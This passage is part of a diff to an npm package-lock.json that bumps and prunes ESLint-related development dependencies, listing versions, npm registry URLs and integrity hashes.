           "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
           "dev": true
         },
+        "eslint-scope": {
+          "version": "6.0.0",
+          "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-6.0.0.tgz",
+          "integrity": "sha512-uRDL9MWmQCkaFus8RF5K9/L/2fn+80yoW3jkD53l4shjCh26fCtvJGasxjUqP5OT87SYTxCVA3BwTUzuELx9kA==",
+          "dev": true,
+          "requires": {
+            "esrecurse": "^4.3.0",
+            "estraverse": "^5.2.0"
+          }
+        },
+        "eslint-utils": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz",
+          "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==",
+          "dev": true,
+          "requires": {
+            "eslint-visitor-keys": "^2.0.0"
+          },
+          "dependencies": {
+            "eslint-visitor-keys": {
+              "version": "2.1.0",
+              "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
+              "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
+              "dev": true
+            }
+          }
+        },
+        "eslint-visitor-keys": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.0.0.tgz",
+          "integrity": "sha512-mJOZa35trBTb3IyRmo8xmKBZlxf+N7OnUl4+ZhJHs/r+0770Wh/LEACE2pqMGMe27G/4y8P2bYGk4J70IC5k1Q==",
+          "dev": true
+        },
+        "espree": {
+          "version": "9.0.0",
+          "resolved": "https://registry.npmjs.org/espree/-/espree-9.0.0.tgz",
+          "integrity": "sha512-r5EQJcYZ2oaGbeR0jR0fFVijGOcwai07/690YRXLINuhmVeRY4UKSAsQPe/0BNuDgwP7Ophoc1PRsr2E3tkbdQ==",
+          "dev": true,
+          "requires": {
+            "acorn": "^8.5.0",
+            "acorn-jsx": "^5.3.1",
+            "eslint-visitor-keys": "^3.0.0"
+          }
+        },
+        "estraverse": {
+          "version": "5.2.0",
+          "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz",
+          "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==",
+          "dev": true
+        },
+        "glob-parent": {
+          "version": "6.0.2",
+          "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+          "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+          "dev": true,
+          "requires": {
+            "is-glob": "^4.0.3"
+          }
+        },
+        "js-yaml": {
+          "version": "4.1.0",
+          "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
+          "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+          "dev": true,
+          "requires": {
+            "argparse": "^2.0.1"
+          },
+          "dependencies": {
+            "argparse": {
+              "version": "2.0.1",
+              "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+              "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+              "dev": true
+            }
+          }
+        },
         "ms": {
           "version": "2.1.2",
           "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
@@ -5335,12 +4579,13 @@
       }
     },
     "eslint-module-utils": {
-      "version": "2.6.2",
-      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.6.2.tgz",
-      "integrity": "sha512-QG8pcgThYOuqxupd06oYTZoNOGaUdTY1PqK+oS6ElF6vs4pBdk/aYxFVQQXzcrAqp9m7cl7lb2ubazX+g16k2Q==",
+      "version": "2.7.1",
+      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.7.1.tgz",
+      "integrity": "sha512-fjoetBXQZq2tSTWZ9yWVl2KuFrTZZH3V+9iD1V1RfpDgxzJR+mPd/KZmMiA8gbPqdBzpNiEHOuT7IYEWxrH0zQ==",
       "dev": true,
       "requires": {
         "debug": "^3.2.7",
+        "find-up": "^2.1.0",
         "pkg-dir": "^2.0.0"
       },
       "dependencies": {
@@ -5353,55 +4598,6 @@
             "ms": "^2.1.1"
           }
         },
-        "ms": {
-          "version": "2.1.3",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
-          "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
-          "dev": true
-        }
-      }
-    },
-    "eslint-plugin-html": {
-      "version": "6.2.0",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-html/-/eslint-plugin-html-6.2.0.tgz",
-      "integrity": "sha512-vi3NW0E8AJombTvt8beMwkL1R/fdRWl4QSNRNMhVQKWm36/X0KF0unGNAY4mqUF06mnwVWZcIcerrCnfn9025g==",
-      "dev": true,
-      "requires": {
-        "htmlparser2": "^7.1.2"
-      }
-    },
-    "eslint-plugin-import": {
-      "version": "2.24.2",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.24.2.tgz",
-      "integrity": "sha512-hNVtyhiEtZmpsabL4neEj+6M5DCLgpYyG9nzJY8lZQeQXEn5UPW1DpUdsMHMXsq98dbNm7nt1w9ZMSVpfJdi8Q==",
-      "dev": true,
-      "requires": {
-        "array-includes": "^3.1.3",
-        "array.prototype.flat": "^1.2.4",
-        "debug": "^2.6.9",
-        "doctrine": "^2.1.0",
-        "eslint-import-resolver-node": "^0.3.6",
-        "eslint-module-utils": "^2.6.2",
-        "find-up": "^2.0.0",
-        "has": "^1.0.3",
-        "is-core-module": "^2.6.0",
-        "minimatch": "^3.0.4",
-        "object.values": "^1.1.4",
-        "pkg-up": "^2.0.0",
-        "read-pkg-up": "^3.0.0",
-        "resolve": "^1.20.0",
-        "tsconfig-paths": "^3.11.0"
-      },
-      "dependencies": {
-        "doctrine": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
-          "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
-          "dev": true,
-          "requires": {
-            "esutils": "^2.0.2"
-          }
-        },
         "find-up": {
           "version": "2.1.0",
           "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz",
@@ -5411,12 +4607,6 @@
             "locate-path": "^2.0.0"
           }
         },
-        "hosted-git-info": {
-          "version": "2.8.9",
-          "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
-          "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
-          "dev": true
-        },
         "locate-path": {
           "version": "2.0.0",
           "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz",
@@ -5427,17 +4617,11 @@
             "path-exists": "^3.0.0"
           }
         },
-        "normalize-package-data": {
-          "version": "2.5.0",
-          "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
-          "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
-          "dev": true,
-          "requires": {
-            "hosted-git-info": "^2.1.4",
-            "resolve": "^1.10.0",
-            "semver": "2 || 3 || 4 || 5",
-            "validate-npm-package-license": "^3.0.1"
-          }
+        "ms": {
+          "version": "2.1.3",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+          "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+          "dev": true
         },
         "p-limit": {
           "version": "1.3.0",
@@ -5468,49 +4652,54 @@
           "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
           "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
           "dev": true
-        },
-        "path-type": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/path-type/-/path-type-3.0.0.tgz",
-          "integrity": "sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==",
-          "dev": true,
-          "requires": {
-            "pify": "^3.0.0"
-          }
-        },
-        "read-pkg": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-3.0.0.tgz",
-          "integrity": "sha1-nLxoaXj+5l0WwA4rGcI3/Pbjg4k=",
-          "dev": true,
-          "requires": {
-            "load-json-file": "^4.0.0",
-            "normalize-package-data": "^2.3.2",
-            "path-type": "^3.0.0"
-          }
-        },
-        "read-pkg-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-3.0.0.tgz",
-          "integrity": "sha1-PtSWaF26D4/hGNBpHcUfSh/5bwc=",
+        }
+      }
+    },
+    "eslint-plugin-html": {
+      "version": "6.2.0",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-html/-/eslint-plugin-html-6.2.0.tgz",
+      "integrity": "sha512-vi3NW0E8AJombTvt8beMwkL1R/fdRWl4QSNRNMhVQKWm36/X0KF0unGNAY4mqUF06mnwVWZcIcerrCnfn9025g==",
+      "dev": true,
+      "requires": {
+        "htmlparser2": "^7.1.2"
+      }
+    },
+    "eslint-plugin-import": {
+      "version": "2.25.2",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.25.2.tgz",
+      "integrity": "sha512-qCwQr9TYfoBHOFcVGKY9C9unq05uOxxdklmBXLVvcwo68y5Hta6/GzCZEMx2zQiu0woKNEER0LE7ZgaOfBU14g==",
+      "dev": true,
+      "requires": {
+        "array-includes": "^3.1.4",
+        "array.prototype.flat": "^1.2.5",
+        "debug": "^2.6.9",
+        "doctrine": "^2.1.0",
+        "eslint-import-resolver-node": "^0.3.6",
+        "eslint-module-utils": "^2.7.0",
+        "has": "^1.0.3",
+        "is-core-module": "^2.7.0",
+        "is-glob": "^4.0.3",
+        "minimatch": "^3.0.4",
+        "object.values": "^1.1.5",
+        "resolve": "^1.20.0",
+        "tsconfig-paths": "^3.11.0"
+      },
+      "dependencies": {
+        "doctrine": {
+          "version": "2.1.0",
+          "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
+          "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
           "dev": true,
           "requires": {
-            "find-up": "^2.0.0",
-            "read-pkg": "^3.0.0"
+            "esutils": "^2.0.2"
           }
-        },
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
-          "dev": true
         }
       }
     },
     "eslint-plugin-lit": {
-      "version": "1.6.0",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-lit/-/eslint-plugin-lit-1.6.0.tgz",
-      "integrity": "sha512-869OEsg1MdI7bYJrOjgkdMXAX9qPZkyxJkScKQMY3vVDKnWxRGow/vI+2zEduKWOZA23Zfg/mUDwYZ5OGkd9eg==",
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-lit/-/eslint-plugin-lit-1.6.1.tgz",
+      "integrity": "sha512-BpPoWVhf8dQ/Sz5Pi9NlqbGoH5BcMcVyXhi2XTx2XGMAO9U2lS+GTSsqJjI5hL3OuxCicNiUEWXazAwi9cAGxQ==",
       "dev": true,
       "requires": {
         "parse5": "^6.0.1",
@@ -5519,119 +4708,34 @@
       }
     },
     "eslint-plugin-lit-a11y": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-lit-a11y/-/eslint-plugin-lit-a11y-1.0.1.tgz",
-      "integrity": "sha512-c+GgGSXb9HMgbzJGp0yl+msHk2rBXcA7KwbobbLonSXdHm6ln7zRwAEj4i7527FOaCKkhxiN6RXfOJcZT1/Bow==",
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-lit-a11y/-/eslint-plugin-lit-a11y-2.1.0.tgz",
+      "integrity": "sha512-MIjind1qFicMqrmdRpwfxuceMoznEicNrzZM2FcWkZLeNK9Po+Z7UflppSud9vtPY6ihrm3RwrAjrOvTDkziWQ==",
       "dev": true,
       "requires": {
         "aria-query": "^4.2.2",
-        "axe-core": "^4.0.2",
+        "axe-core": "^4.3.3",
         "axobject-query": "^2.2.0",
         "dom5": "^3.0.1",
-        "emoji-regex": "^9.0.0",
-        "eslint": "^7.6.0",
+        "emoji-regex": "^9.2.0",
+        "eslint-plugin-lit": "^1.6.0",
         "eslint-rule-extender": "0.0.1",
-        "intl-list-format": "^1.0.3",
         "parse5": "^5.1.1",
-        "parse5-htmlparser2-tree-adapter": "^6.0.0",
-        "requireindex": "~1.1.0"
+        "parse5-htmlparser2-tree-adapter": "^6.0.1",
+        "requireindex": "~1.2.0"
       },
       "dependencies": {
-        "@babel/code-frame": {
-          "version": "7.12.11",
-          "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.11.tgz",
-          "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==",
-          "dev": true,
-          "requires": {
-            "@babel/highlight": "^7.10.4"
-          }
-        },
-        "debug": {
-          "version": "4.3.2",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
-          "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==",
-          "dev": true,
-          "requires": {
-            "ms": "2.1.2"
-          }
-        },
         "emoji-regex": {
           "version": "9.2.2",
           "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
           "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
           "dev": true
         },
-        "escape-string-regexp": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
-          "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
-          "dev": true
-        },
-        "eslint": {
-          "version": "7.32.0",
-          "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.32.0.tgz",
-          "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==",
-          "dev": true,
-          "requires": {
-            "@babel/code-frame": "7.12.11",
-            "@eslint/eslintrc": "^0.4.3",
-            "@humanwhocodes/config-array": "^0.5.0",
-            "ajv": "^6.10.0",
-            "chalk": "^4.0.0",
-            "cross-spawn": "^7.0.2",
-            "debug": "^4.0.1",
-            "doctrine": "^3.0.0",
-            "enquirer": "^2.3.5",
-            "escape-string-regexp": "^4.0.0",
-            "eslint-scope": "^5.1.1",
-            "eslint-utils": "^2.1.0",
-            "eslint-visitor-keys": "^2.0.0",
-            "espree": "^7.3.1",
-            "esquery": "^1.4.0",
-            "esutils": "^2.0.2",
-            "fast-deep-equal": "^3.1.3",
-            "file-entry-cache": "^6.0.1",
-            "functional-red-black-tree": "^1.0.1",
-            "glob-parent": "^5.1.2",
-            "globals": "^13.6.0",
-            "ignore": "^4.0.6",
-            "import-fresh": "^3.0.0",
-            "imurmurhash": "^0.1.4",
-            "is-glob": "^4.0.0",
-            "js-yaml": "^3.13.1",
-            "json-stable-stringify-without-jsonify": "^1.0.1",
-            "levn": "^0.4.1",
-            "lodash.merge": "^4.6.2",
-            "minimatch": "^3.0.4",
-            "natural-compare": "^1.4.0",
-            "optionator": "^0.9.1",
-            "progress": "^2.0.0",
-            "regexpp": "^3.1.0",
-            "semver": "^7.2.1",
-            "strip-ansi": "^6.0.0",
-            "strip-json-comments": "^3.1.0",
-            "table": "^6.0.9",
-            "text-table": "^0.2.0",
-            "v8-compile-cache": "^2.0.3"
-          }
-        },
-        "ms": {
-          "version": "2.1.2",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
-          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
-          "dev": true
-        },
         "parse5": {
           "version": "5.1.1",
           "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.1.tgz",
           "integrity": "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug==",
           "dev": true
-        },
-        "requireindex": {
-          "version": "1.1.0",
-          "resolved": "https://registry.npmjs.org/requireindex/-/requireindex-1.1.0.tgz",
-          "integrity": "sha1-5UBLgVV+91225JxacgBIk/4D4WI=",
-          "dev": true
         }
       }
     },
@@ -5690,11 +4794,6 @@
       "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
       "dev": true
     },
-    "esmangle-evaluator": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/esmangle-evaluator/-/esmangle-evaluator-1.0.1.tgz",
-      "integrity": "sha1-Yg2GbvSGGzMR91dm1SqFcrs8YzY="
-    },
     "espree": {
       "version": "7.3.1",
       "resolved": "https://registry.npmjs.org/espree/-/espree-7.3.1.tgz",
@@ -5706,12 +4805,6 @@
         "eslint-visitor-keys": "^1.3.0"
       },
       "dependencies": {
-        "acorn": {
-          "version": "7.4.1",
-          "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
-          "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
-          "dev": true
-        },
         "eslint-visitor-keys": {
           "version": "1.3.0",
           "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz",
@@ -5721,9 +4814,10 @@
       }
     },
     "esprima": {
-      "version": "2.7.3",
-      "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz",
-      "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE="
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
+      "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+      "dev": true
     },
     "esquery": {
       "version": "1.4.0",
@@ -5786,7 +4880,8 @@
     "event-target-shim": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz",
-      "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ=="
+      "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==",
+      "dev": true
     },
     "execa": {
       "version": "5.1.1",
@@ -5843,24 +4938,6 @@
         }
       }
     },
-    "falafel": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/falafel/-/falafel-1.2.0.tgz",
-      "integrity": "sha1-wY0k71CRF0pJfzGM0ksCaiXN2rQ=",
-      "requires": {
-        "acorn": "^1.0.3",
-        "foreach": "^2.0.5",
-        "isarray": "0.0.1",
-        "object-keys": "^1.0.6"
-      },
-      "dependencies": {
-        "acorn": {
-          "version": "1.2.2",
-          "resolved": "https://registry.npmjs.org/acorn/-/acorn-1.2.2.tgz",
-          "integrity": "sha1-yM4n3grMdtiW0rH6099YjZ6C8BQ="
-        }
-      }
-    },
     "fast-deep-equal": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
@@ -5916,14 +4993,6 @@
       "integrity": "sha512-MMMQ0ludy/nBs1/o0zVOiKTpG7qMbonKUzjJgQFEuvq6INZ1OraKPRAWkBq5vlKLOUMpmNYG1JoN3oDPUQ9m3Q==",
       "dev": true
     },
-    "fetch-cookie": {
-      "version": "0.10.1",
-      "resolved": "https://registry.npmjs.org/fetch-cookie/-/fetch-cookie-0.10.1.tgz",
-      "integrity": "sha512-beB+VEd4cNeVG1PY+ee74+PkuCQnik78pgLi5Ah/7qdUfov8IctU0vLUbBT8/10Ma5GMBeI4wtxhGrEfKNYs2g==",
-      "requires": {
-        "tough-cookie": "^2.3.3 || ^3.0.1 || ^4.0.0"
-      }
-    },
     "fetch-sparql-endpoint": {
       "version": "2.3.2",
       "resolved": "https://registry.npmjs.org/fetch-sparql-endpoint/-/fetch-sparql-endpoint-2.3.2.tgz",
@@ -5983,23 +5052,6 @@
         "path-exists": "^4.0.0"
       }
     },
-    "flat": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/flat/-/flat-4.1.1.tgz",
-      "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==",
-      "dev": true,
-      "requires": {
-        "is-buffer": "~2.0.3"
-      },
-      "dependencies": {
-        "is-buffer": {
-          "version": "2.0.5",
-          "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
-          "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==",
-          "dev": true
-        }
-      }
-    },
     "flat-cache": {
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz",
@@ -6028,11 +5080,6 @@
       "integrity": "sha512-zwGkiSXC1MUJG/qmeIFH2HBJx9u0V46QGUe3YR1fXG8bXQxq7fLj0RjLZQ5nubr9qNJUZrH+xUcwXEoXNpfS+g==",
       "dev": true
     },
-    "foreach": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz",
-      "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k="
-    },
     "fresh": {
       "version": "0.5.2",
       "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
@@ -6054,14 +5101,6 @@
         "graceful-fs": "^4.2.0",
         "jsonfile": "^6.0.1",
         "universalify": "^2.0.0"
-      },
-      "dependencies": {
-        "universalify": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
-          "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
-          "dev": true
-        }
       }
     },
     "fs.realpath": {
@@ -6095,12 +5134,6 @@
       "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
       "dev": true
     },
-    "get-func-name": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz",
-      "integrity": "sha1-6td0q+5y4gQJQzoGY2YCPdaIekE=",
-      "dev": true
-    },
     "get-intrinsic": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz",
@@ -6145,53 +5178,18 @@
         "meow": "^8.0.0",
         "split2": "^3.0.0",
         "through2": "^4.0.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "dev": true,
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "dev": true,
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        },
-        "through2": {
-          "version": "4.0.2",
-          "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz",
-          "integrity": "sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==",
-          "dev": true,
-          "requires": {
-            "readable-stream": "3"
-          }
-        }
       }
     },
     "glob": {
-      "version": "5.0.15",
-      "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz",
-      "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=",
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz",
+      "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==",
+      "dev": true,
       "requires": {
+        "fs.realpath": "^1.0.0",
         "inflight": "^1.0.4",
         "inherits": "2",
-        "minimatch": "2 || 3",
+        "minimatch": "^3.0.4",
         "once": "^1.3.0",
         "path-is-absolute": "^1.0.0"
       }
@@ -6256,7 +5254,8 @@
     "graceful-fs": {
       "version": "4.2.8",
       "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz",
-      "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg=="
+      "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==",
+      "dev": true
     },
     "graphql": {
       "version": "15.6.1",
@@ -6291,12 +5290,6 @@
         "sparqlalgebrajs": "^3.0.2"
       }
     },
-    "growl": {
-      "version": "1.10.5",
-      "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz",
-      "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==",
-      "dev": true
-    },
     "hard-rejection": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz",
@@ -6324,38 +5317,17 @@
       "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
       "dev": true
     },
-    "has-own-property-x": {
-      "version": "3.2.0",
-      "resolved": "https://registry.npmjs.org/has-own-property-x/-/has-own-property-x-3.2.0.tgz",
